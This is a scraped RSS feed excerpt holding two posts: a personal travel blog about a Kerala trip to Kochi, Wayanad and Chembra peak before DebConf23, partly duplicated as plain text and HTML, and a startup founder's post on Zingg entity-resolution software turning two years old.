Next day, on 29th of August 2023, we had plan to leave for Wayanad. Wayanad is a hill station in Kerala and a famous tourist spot. Praveen suggested to visit Munnar as it is far closer to Kochi than Wayanad (80 km vs 250 km). But I had already visited Munnar in my previous trips, so we chose Wayanad. We had a train late night from Ernakulam Junction (at 23:30 hours) to Kozhikode, which is the nearest railway station from Wayanad. So, we checked out in the morning as we had plans to roam around in Kochi before taking the train.
Zostel was celebrating Onam on that day. To opt-in, we had to pay 400 rupees, which included a Sadya Thali and a Mundu. Me and Suresh paid the amount and opted in for the celebrations. Sadya thali had Rice, Sambhar, Rasam, Avial, Banana Chips, Pineapple Pachadi, Pappadam, many types of pickels and chutneys, Pal Ada Payasam and Coconut jaggery Pasam. And, there was water too :). Those payasams were really great and I had one more round of them. Later, I had a lot of variety of payasams during the DebConf.

      
Sadya lined up for serving

      
Sadya thali served on banana leaf.
In the evening, we hung out in the common room and put our luggage there. We played UNO and had conversations with other travellers in the hostel. I had a fun time there and I still think it is one of the best hostel experiences I had. We made good friends with Saiduth (Telangana) and Shwetank (Uttarakhand). They were already aware about the software like debian, and we had some detailed conversations about the Free Software movement. I remember explaining the difference between the terms “Open Source” and “Free Software”. I also told them about the Streetcomplete app, a beginner friendly app to edit OpenStreetMap. We had dinner at a place nearby (named Palaraam), but again, the vegetarian options were very limited! After dinner, we came back to the Zostel and me and Suresh left for Ernakulam Junction to catch our train Maveli Express (16604).
Day 3: Going to Wayanad
Maveli Express was scheduled to reach Kozhikode at 03:25 (morning). I had set alarms from 03:00 to 03:30, with the gap of 10 minutes. Every time I woke up, I turned off the alarm. Then I woke up and saw train reaching the Kozhikode station and woke up Suresh for deboarding. But then I noticed that the train is actually leaving the station, not arriving! This means we missed our stop. Now we looked at the next stops and whether we can deboard there. I was very sleepy and wanted to take a retiring room at some station before continuing our journey to Wayanad. The next stop was Quilandi and we checked online that it didn’t have a retiring room. So, we skipped this stop. We got off at the next stop named Vadakara and found out no retiring room was available. So, we asked about information regarding bus for Wayanad and they said that there is a bus to Wayanad around 07:00 hours from bus station which was a few kilometres from the railway station.
We took a bus for Kalpetta (in Wayanad) at around 07:00. The destination of the buses were written in Malayalam, which we could not read. Once again, the locals helped us to get on to the bus to Kalpetta. Vadakara is not a big city and it can be hard to find people who know good Hindi or English, unlike Kochi. Despite language issues, I had no problem there in navigation, thanks to locals. I mostly spent time sleeping during the bus journey.
A few hours later, the bus dropped us at Kalpetta. We had a booking at a hostel in Rippon village. It was 16 km from Kalpetta. On the way, we were treated with beautiful views of nature, which was present everywhere in Wayanad. The place was covered with tea gardens and our eyes were treated with beautiful scenery at every corner.

      
We were treated with such views during the Wayanad trip.
Rippon village was a very quiet place and I liked the calm atmosphere. This place is blessed by nature and has stunning scenery. I found English was more common than Hindi in Wayanad. Locals were very nice and helpful, even if they didn’t know my language.

      
A road in Rippon.
After catching some sleep at the hostel, I went out in the afternoon. I hitchhiked to reach the main road from the hostel. I bought more spices from a nearby shop and realized that I should have waited for my visit to Wayanad to buy cardamom, which I already bought from Kochi. Then, I was looking for post office to send spices home. The people at the spices shop told me that the nearby Rippon post office was closed by that time, but the post office at Meppadi was open, which was 5 km from there.
I went to Meppadi and saw the post office closes at 15:00, but I reached five minutes late. My packing was not very good and they asked me to pack it tighter. There was a shop near the post office and the people there gave me a cardboard and tapes, and helped pack my stuff for the post. By the time I went to the post office again, it was 15:30. But they accepted my parcel for post.
Day 4: Kanthanpara Falls, Zostel Wayanad and Karapuzha Dam
Kanthanpara waterfalls were 2 km from the hostel. I hitchhiked to the place from the hostel on a scooty. Entry ticket was worth Rs 40. There were good views inside and nothing much to see except the waterfalls.

      
Entry to Kanthanpara Falls.

      
Kanthanpara Falls.
We had a booking at Zostel Wayanad for this day and so we shifted there. Again, as with their Ernakulam branch, they asked me to fill a form which required signing in using Google, but when I said I don’t have a Google account they checked me in without that. There were tea gardens inside the Zostel boundaries and the property was beautiful.

      
A view of Zostel Wayanad.

      
A map of Wayanad showing tourist places.

      
A view from inside the Zostel Wayanad property.
Later in the evening, I went to Karapuzha Dam. I witnessed a beautiful sunset during the journey. Karapuzha dam had many activites, like ziplining, and was nice to roam around.
Chembra Peak is near to the Zostel Wayanad. So, I was planning to trek to the heart shaped lake. It was suggested by Praveen and looking online, this trek seemed worth doing. There was an issue however. The charges for trek were Rs 1770 for upto five people. So, if I go alone I will have to spend Rs 1770 for the trek. If I go with another person, we split Rs 1770 into two, and so on. The optimal way to do it is to go in a group of five (you included :D). I asked front desk at Zostel if they can connect me with people going to Chembra peak the next day, and they told me about a group of four people planning to go to Chembra peak the next day. I got lucky! All four of them were from Kerala and worked in Qatar.
Day 5: Chembra peak trek
The date was 1st September 2023. I woke up early (05:30 in the morning) for the Chembra peak trek. I had bought hiking shoes especially for trekking, which turned out to be a very good idea. The ticket counter opens at 07:00. The group of four with which I planned to trek met me around 06:00 in the Zostel. We went to the ticket counter around 06:30. We had breakfast at shops selling Maggi noodles and bread omlette near the ticket counter.
It was a hot day and the trek was difficult for an inexperienced person like me. The scenery was green and beautiful throughout.
The day was scorching hot, and the trek proved to be challenging for someone like me, who was relatively inexperienced. However, the lush green scenery surrounding us was incredibly beautiful throughout the journey.

      
Terrain during trekking towards the Chembra peak.

      
Heart-shaped lake at the Chembra peak.

      
Me at the heart-shaped lake.

      
Views from the top of the Chembra peak.

      
View of another peak from the heart-shaped lake.
On the way back from the trek, I stumbled upon a shop selling bamboo rice, which I purchased with the intention of making bamboo rice payasam at home (I even have some coconut milk from Kerala to use ;)). We arrived back at Zostel in the afternoon. I experienced muscle soreness after the trek, and it has yet to completely subside. Later that night, we boarded a bus from Kalpetta to Kozhikode to begin our journey back to Kochi.
Day 6: Return to Kochi
At midnight on the 2nd of September, we arrived at Kozhikode bus stand. Afterward, we wandered around in search of something to eat, but unfortunately, I couldn’t find any vegetarian options. Not a surprising turn of events, considering Kozhikode is especially famous for its non-vegetarian dishes. We then headed to Kozhikode railway station to inquire about retiring rooms, but we were out of luck. We waited at the station and caught the next train to Kochi at 03:30, arriving at Ernakulam Junction at 07:30, half an hour before the scheduled arrival time of the train. From there, we made our way to Zostel Fort Kochi, where we spent the night before checking out the next morning.
Day 7: Roaming around in Fort Kochi
On the 3rd of September, we explored Fort Kochi, visiting popular landmarks such as St. Francis Church, Dutch Palace, Jew Town, and the Pardesi Synagogue. During our visit, I also had the opportunity to tour some homestays, where the owners graciously showed me around their properties, despite my clear indication that I was not seeking accommodation. In the evening, we made our way to Kakkanad to participate in DebConf.
For more details on my experiences at DebConf23, you can continue reading in my DebConf23 blog post.]]></description>
            <content:encoded><![CDATA[<p><strong>A trip full of hitchhiking, beautiful places and welcoming locals.</strong></p>
<h2 id="day-1-arrival-in-kochi">Day 1: Arrival in Kochi</h2>
<p>Kochi is a city in the state of Kerala, India. This year’s <a href="https://debconf23.debconf.org/">DebConf</a> was to be held in Kochi from 3rd September to 17th of September, which I was planning to attend. My friend Suresh, who was planning to join, told me that 29th August 2023 will be Onam, a major festival of the state of Kerala. So, we planned a Kerala trip before the DebConf. We booked early morning flights for Kochi from Delhi and reached Kochi on 28th August.</p>
<p>We had booked a hostel named Zostel in Ernakulam. During check-in, they asked me to fill a form which required signing in using a Google account. I told them I don’t have a Google account and I don’t want to create one either. The people at the front desk seemed receptive, so I went ahead with telling them the problems of such a sign-in being mandatory for check-in. Anyways, they only took a photo of my passport and let me check-in without a Google account.</p>
<p>We stayed in a ten room dormitory, which allowed travellers of any gender. The dormitory room was air-conditioned, spacious, clean and beds were also comfortable. There were two bathrooms in the dormitory and they were clean. Plus, there was a separate dormitory room in the hostel exclusive for females. I noticed that that Zostel was not added in the OpenStreetMap and so, I added it :) . The hostel had a small canteen for tea and snacks, a common sitting area outside the dormitories, which had beds too. There was a separate silent room, suitable for people who want to work.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/zostel-room-1.avif" loading="lazy"><figcaption>
      <h4>Dormitory room in Zostel Ernakulam, Kochi.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/zostel-room-2.avif" loading="lazy"><figcaption>
      <h4>Beds in Zostel Ernakulam, Kochi.</h4>
    </figcaption>
</figure>

<p>We had lunch at a nearby restaurant and it was hard to find anything vegetarian for me. I bought some freshly made banana chips from the street and they were tasty. As far as I remember, I had a big glass of pineapple juice for lunch. Then I went to the Broadway market and bought some cardamom and cinnamon for home. I also went to a nearby supermarket and bought Matta brown rice for home. Then, I looked for a courier shop to send the things home but all of them were closed due to Onam festival. After returning to the Zostel, I overslept till 9 PM and in the meanwhile, Suresh planned with Saidut and Shwetank (who met us during our stay in Zostel) to go to a place in Fort Kochi for dinner. I suspected I will be disappointed by lack of vegetarian options as they were planning to have fish. I already had a restaurant in mind - Brindhavan restaurant (suggested by Anupa), which was a pure vegetarian restaurant.</p>
<p>To reach there, I got off at Palarivattom metro station and started looking for an auto-rickshaw to get to the restaurant. I didn’t get any for more than 5 minutes. Since that restaurant was not added to the OpenStreetMap, I didn’t even know how far that was and which direction to go to. Then, I saw a Zomato delivery person on a motorcycle and asked him where the restaurant was. It was already 10 PM and the restaurant closes at 10:30. So, I asked him whether he can drop me off. He agreed and dropped me off at that restaurant. It was 4-5 km from that metro station. I tipped him and expressed my gratefulness for the help. He refused to take the tip, but I insisted and he accepted.</p>
<p>I entered the restaurant and it was coming to a close, so many items were not available. I ordered some Kadhai Paneer (only item left) with naan. It tasted fine. Since the next day was Thiruvonam, I asked the restaurant about the Sadya thali menu and prices for the next day. I planned to eat Sadya thali at that restaurant, but my plans got changed later.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/onam-sadya-menu.avif" width="400" loading="lazy"><figcaption>
      <h4>Onam sadya menu from Brindhavan restaurant.</h4>
    </figcaption>
</figure>

<h2 id="day-2-onam-celebrations">Day 2: Onam celebrations</h2>
<p>Next day, on 29th of August 2023, we had plan to leave for Wayanad. Wayanad is a hill station in Kerala and a famous tourist spot. Praveen suggested to visit Munnar as it is far closer to Kochi than Wayanad (80 km vs 250 km). But I had already visited Munnar in my previous trips, so we chose Wayanad. We had a train late night from Ernakulam Junction (at 23:30 hours) to Kozhikode, which is the nearest railway station from Wayanad. So, we checked out in the morning as we had plans to roam around in Kochi before taking the train.</p>
<p>Zostel was celebrating Onam on that day. To opt-in, we had to pay 400 rupees, which included a <a href="https://en.wikipedia.org/wiki/Sadya">Sadya Thali</a> and a <a href="https://en.wikipedia.org/wiki/Mundu">Mundu</a>. Me and Suresh paid the amount and opted in for the celebrations. Sadya thali had Rice, Sambhar, Rasam, Avial, Banana Chips, Pineapple Pachadi, Pappadam, many types of pickels and chutneys, Pal Ada Payasam and Coconut jaggery Pasam. And, there was water too :). Those payasams were really great and I had one more round of them. Later, I had a lot of variety of payasams during the DebConf.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/sadya-thalis.avif" width="300" loading="lazy"><figcaption>
      <h4>Sadya lined up for serving</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/sadya.avif" loading="lazy"><figcaption>
      <h4>Sadya thali served on banana leaf.</h4>
    </figcaption>
</figure>

<p>In the evening, we hung out in the common room and put our luggage there. We played UNO and had conversations with other travellers in the hostel. I had a fun time there and I still think it is one of the best hostel experiences I had. We made good friends with Saiduth (Telangana) and Shwetank (Uttarakhand). They were already aware about the software like debian, and we had some detailed conversations about the Free Software movement. I remember explaining the <a href="https://ravidwivedi.in/posts/fs-and-oss-same">difference between the terms “Open Source” and “Free Software”</a>. I also told them about the Streetcomplete app, a beginner friendly app to edit OpenStreetMap. We had dinner at a place nearby (named Palaraam), but again, the vegetarian options were very limited! After dinner, we came back to the Zostel and me and Suresh left for Ernakulam Junction to catch our train Maveli Express (16604).</p>
<h2 id="day-3-going-to-wayanad">Day 3: Going to Wayanad</h2>
<p>Maveli Express was scheduled to reach Kozhikode at 03:25 (morning). I had set alarms from 03:00 to 03:30, with the gap of 10 minutes. Every time I woke up, I turned off the alarm. Then I woke up and saw train reaching the Kozhikode station and woke up Suresh for deboarding. But then I noticed that the train is actually leaving the station, not arriving! This means we missed our stop. Now we looked at the next stops and whether we can deboard there. I was very sleepy and wanted to take a retiring room at some station before continuing our journey to Wayanad. The next stop was Quilandi and we checked online that it didn’t have a retiring room. So, we skipped this stop. We got off at the next stop named Vadakara and found out no retiring room was available. So, we asked about information regarding bus for Wayanad and they said that there is a bus to Wayanad around 07:00 hours from bus station which was a few kilometres from the railway station.</p>
<p>We took a bus for Kalpetta (in Wayanad) at around 07:00. The destination of the buses were written in Malayalam, which we could not read. Once again, the locals helped us to get on to the bus to Kalpetta. Vadakara is not a big city and it can be hard to find people who know good Hindi or English, unlike Kochi. Despite language issues, I had no problem there in navigation, thanks to locals. I mostly spent time sleeping during the bus journey.</p>
<p>A few hours later, the bus dropped us at Kalpetta. We had a booking at a hostel in Rippon village. It was 16 km from Kalpetta. On the way, we were treated with beautiful views of nature, which was present everywhere in Wayanad. The place was covered with tea gardens and our eyes were treated with beautiful scenery at every corner.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/scenery-in-wayanad.avif" loading="lazy"><figcaption>
      <h4>We were treated with such views during the Wayanad trip.</h4>
    </figcaption>
</figure>

<p>Rippon village was a very quiet place and I liked the calm atmosphere. This place is blessed by nature and has stunning scenery. I found English was more common than Hindi in Wayanad. Locals were very nice and helpful, even if they didn’t know my language.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/rippon.avif" loading="lazy"><figcaption>
      <h4>A road in Rippon.</h4>
    </figcaption>
</figure>

<p>After catching some sleep at the hostel, I went out in the afternoon. I hitchhiked to reach the main road from the hostel. I bought more spices from a nearby shop and realized that I should have waited for my visit to Wayanad to buy cardamom, which I already bought from Kochi. Then, I was looking for post office to send spices home. The people at the spices shop told me that the nearby Rippon post office was closed by that time, but the post office at Meppadi was open, which was 5 km from there.</p>
<p>I went to Meppadi and saw the post office closes at 15:00, but I reached five minutes late. My packing was not very good and they asked me to pack it tighter. There was a shop near the post office and the people there gave me a cardboard and tapes, and helped pack my stuff for the post. By the time I went to the post office again, it was 15:30. But they accepted my parcel for post.</p>
<h2 id="day-4-kanthanpara-falls-zostel-wayanad-and-karapuzha-dam">Day 4: Kanthanpara Falls, Zostel Wayanad and Karapuzha Dam</h2>
<p>Kanthanpara waterfalls were 2 km from the hostel. I hitchhiked to the place from the hostel on a scooty. Entry ticket was worth Rs 40. There were good views inside and nothing much to see except the waterfalls.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/kanthanpara-1.avif" loading="lazy"><figcaption>
      <h4>Entry to Kanthanpara Falls.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/kanthanpara-2.avif"><figcaption>
      <h4>Kanthanpara Falls.</h4>
    </figcaption>
</figure>

<p>We had a booking at Zostel Wayanad for this day and so we shifted there. Again, as with their Ernakulam branch, they asked me to fill a form which required signing in using Google, but when I said I don’t have a Google account they checked me in without that. There were tea gardens inside the Zostel boundaries and the property was beautiful.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/zostel-wayanad-1.avif" loading="lazy"><figcaption>
      <h4>A view of Zostel Wayanad.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/zostel-wayanad-2.avif" loading="lazy"><figcaption>
      <h4>A map of Wayanad showing tourist places.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/zostel-wayanad-3.avif" loading="lazy"><figcaption>
      <h4>A view from inside the Zostel Wayanad property.</h4>
    </figcaption>
</figure>

<p>Later in the evening, I went to Karapuzha Dam. I witnessed a beautiful sunset during the journey. Karapuzha dam had many activites, like ziplining, and was nice to roam around.</p>
<p>Chembra Peak is near to the Zostel Wayanad. So, I was planning to trek to the heart shaped lake. It was suggested by Praveen and looking online, this trek seemed worth doing. There was an issue however. The charges for trek were Rs 1770 for upto five people. So, if I go alone I will have to spend Rs 1770 for the trek. If I go with another person, we split Rs 1770 into two, and so on. The optimal way to do it is to go in a group of five (you included :D). I asked front desk at Zostel if they can connect me with people going to Chembra peak the next day, and they told me about a group of four people planning to go to Chembra peak the next day. I got lucky! All four of them were from Kerala and worked in Qatar.</p>
<h2 id="day-5-chembra-peak-trek">Day 5: Chembra peak trek</h2>
<p>The date was 1st September 2023. I woke up early (05:30 in the morning) for the Chembra peak trek. I had bought hiking shoes especially for trekking, which turned out to be a very good idea. The ticket counter opens at 07:00. The group of four with which I planned to trek met me around 06:00 in the Zostel. We went to the ticket counter around 06:30. We had breakfast at shops selling Maggi noodles and bread omlette near the ticket counter.</p>
<p>It was a hot day and the trek was difficult for an inexperienced person like me. The scenery was green and beautiful throughout.</p>
<p>The day was scorching hot, and the trek proved to be challenging for someone like me, who was relatively inexperienced. However, the lush green scenery surrounding us was incredibly beautiful throughout the journey.</p>
<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/chembra-1.avif" loading="lazy"><figcaption>
      <h4>Terrain during trekking towards the Chembra peak.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/chembra-2.avif" loading="lazy"><figcaption>
      <h4>Heart-shaped lake at the Chembra peak.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/chembra-3.avif" width="500" loading="lazy"><figcaption>
      <h4>Me at the heart-shaped lake.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/chembra-4.avif" loading="lazy"><figcaption>
      <h4>Views from the top of the Chembra peak.</h4>
    </figcaption>
</figure>

<figure><img src="https://ravidwivedi.in/images/kochi-wayanad-aug-sep-2023/chembra-5.avif" loading="lazy"><figcaption>
      <h4>View of another peak from the heart-shaped lake.</h4>
    </figcaption>
</figure>

<p>On the way back from the trek, I stumbled upon a shop selling bamboo rice, which I purchased with the intention of making bamboo rice payasam at home (I even have some coconut milk from Kerala to use ;)). We arrived back at Zostel in the afternoon. I experienced muscle soreness after the trek, and it has yet to completely subside. Later that night, we boarded a bus from Kalpetta to Kozhikode to begin our journey back to Kochi.</p>
<h2 id="day-6-return-to-kochi">Day 6: Return to Kochi</h2>
<p>At midnight on the 2nd of September, we arrived at Kozhikode bus stand. Afterward, we wandered around in search of something to eat, but unfortunately, I couldn’t find any vegetarian options. Not a surprising turn of events, considering Kozhikode is especially famous for its non-vegetarian dishes. We then headed to Kozhikode railway station to inquire about retiring rooms, but we were out of luck. We waited at the station and caught the next train to Kochi at 03:30, arriving at Ernakulam Junction at 07:30, half an hour before the scheduled arrival time of the train. From there, we made our way to Zostel Fort Kochi, where we spent the night before checking out the next morning.</p>
<h2 id="day-7-roaming-around-in-fort-kochi">Day 7: Roaming around in Fort Kochi</h2>
<p>On the 3rd of September, we explored Fort Kochi, visiting popular landmarks such as St. Francis Church, Dutch Palace, Jew Town, and the Pardesi Synagogue. During our visit, I also had the opportunity to tour some homestays, where the owners graciously showed me around their properties, despite my clear indication that I was not seeking accommodation. In the evening, we made our way to Kakkanad to participate in DebConf.</p>
<p>For more details on my experiences at DebConf23, you can continue reading in <a href="https://ravidwivedi.in/posts/debconf23">my DebConf23 blog post</a>.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Zingg Turns Two!]]></title>
            <link>https://www.learningfromdata.zingg.ai/p/zingg-turns-two</link>
            <guid isPermaLink="false">https://www.learningfromdata.zingg.ai/p/zingg-turns-two</guid>
            <pubDate>Sat, 30 Sep 2023 17:09:19 GMT</pubDate>
            <description><![CDATA[The days were long, but the years have been short.]]></description>
            <content:encoded><![CDATA[<p>Two years is a journey, yet it seems like yesterday when I open sourced Zingg. In the interim, we have done fulfilling work and received a lot of love. Curious what&#8217;s up at our end? Read on!</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw"><img src="https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080" width="430" height="644.9510585021625" data-attrs="{&quot;src&quot;:&quot;https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:6589,&quot;width&quot;:4393,&quot;resizeWidth&quot;:430,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;cake with lit sparkling stick&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="cake with lit sparkling stick" title="cake with lit sparkling stick" srcset="https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 424w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 848w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1272w, https://images.unsplash.com/photo-1577998474517-7eeeed4e448a?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=M3wzMDAzMzh8MHwxfHNlYXJjaHw3fHxiaXJ0aGRheXxlbnwwfHx8fDE2OTYwOTAwODR8MA&amp;ixlib=rb-4.0.3&amp;q=80&amp;w=1080 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>First thing first.</p><p>We now have paying customers for our enterprise products!  There is nothing more exhilarating than seeing our life&#8217;s work come alive. And to be paid so that we can continue to build and move in the direction we aspire to. In the startup world, we hold a lot of discussions around product market fit, product founder fit, building things people want, user research,  and other associated activities. Product-led startups like ours get the first set of customers through the urgent need of a visionary early adopter. The <strong>visionary early adopter</strong> is the person in a team who has a <strong>pressing need</strong> along with the <strong>foresight</strong> to solve the problem and the <strong>confidence</strong> to trust a new team and an innovative product. <em>And</em> who can influence and move budgets to solve that need. I am very glad to have this opportunity to work closely with this first set of customers who are helping us shape the product. Not just the features, but also the pricing.  </p><p>Thank you for supporting us so that we can help you!</p><p>We are building three flavors of Zingg Enterprise. Zingg Snowflake, Zingg Databricks and Zingg Spark. All of them with the same roots in Zingg open source. Each carries forward Zingg OSS and gives the required ammunition to build and use the persistent and evolving enterprise identity graph. Zingg Enterprise creates global unique identifiers for entities, explains model behaviour and maintains and enhances the identity graph through resolution of new and updated records against previously matched records. Of course there is the improved accuracy and scalability :-) </p><p>On top of this, we have added platform-specific features. The Snowflake version runs inside Snowflake without any other infrastructure or software dependence. The Databricks flavour adds Unity Catalog support and a lot of other Databricks goodies. The Spark one has the enterprise features and runs on all other Spark environments like EMR. </p><p>On the open source side, we just hit 1000 downloads per month on PyPi! The rate of downloads has doubled over the past few months, and we now have a Slack group touching 450 people, from varied organizations like LinkedIn, Maersk, Newfront, Samba TV, Canadian Football League, Heb and John Deere to name a few. We have federal agencies like Pandemic Response Centre, and established startups like <a href="https://www.zingg.ai/case-studies/powering-sustainability-through-brand-and-product-entity-resolution">Provenance.org</a>, Redica Systems, Ninjacart and Cherre. We have a good number of <a href="https://www.zingg.ai/case-studies/transparency-in-north-carolina-campaign-finance-data">nonprofits and data consultancies</a> as well as friends from Databricks, Snowflake and Exasol. The strong code contributions from these partner companies have helped us to support their users more deeply. </p><p>We are clearly onto something :-) </p><p>I am truly amazed by the depth of use cases we are seeing across big and small organizations in varying domains. Zingg is resolving customer identity for marketing and personalization use cases in retail. It is resolving patient identity for comprehensive health, and healthcare provider identity to understand drug recommendation patterns. And the identity of an insurance policyholder, for compliance and risk, and also from the point of view of a reinsurer. <a href="https://www.learningfromdata.zingg.ai/p/entity-resolution-and-the-sea">Identity resolution</a> is much broader than we thought initially. It is the identity of members of religious establishments, of donors or recipients. It is the identity of the fans of a football club to send out the right information at the right time for a game of their liking. B2B accounts, which buy from multiple subsidiaries in different geographies, need identity resolution as well. So do <a href="https://www.databricks.com/blog/using-images-and-metadata-product-fuzzy-matching-zingg">products on an e-commerce website</a> for competitive analysis on other sites. </p><p>Identity is anything and everything a business cares about. </p><p>We are happy that we built Zingg so that users can work on their schema and train on their data without specialized ML skills. All in a privacy centric way. This has allowed us to see Zingg in action in the different use cases we are discovering every passing day.</p><p>To each of you who has used Zingg, mentioned us to friends and coworkers or checked us out - thank you for your time and we hope we have removed some data troubles from your life. </p><p>I also wanted to thank our investors and advisors, who backed Zingg when no one had heard of us, and who have been generous with their time and support.</p><p>These two years have been a tremendous learning experience, and our plans are only getting bigger. There is a lot of AI yet to be applied to enterprise data, and we will love to create more value for our users and customers. For that, we need to continue to work closely with them, ship more and more often, keep the momentum going and work twice as hard. </p><p>We are excited for the path ahead. Wish us luck!</p>]]></content:encoded>
            <author>Sonal Goyal</author>
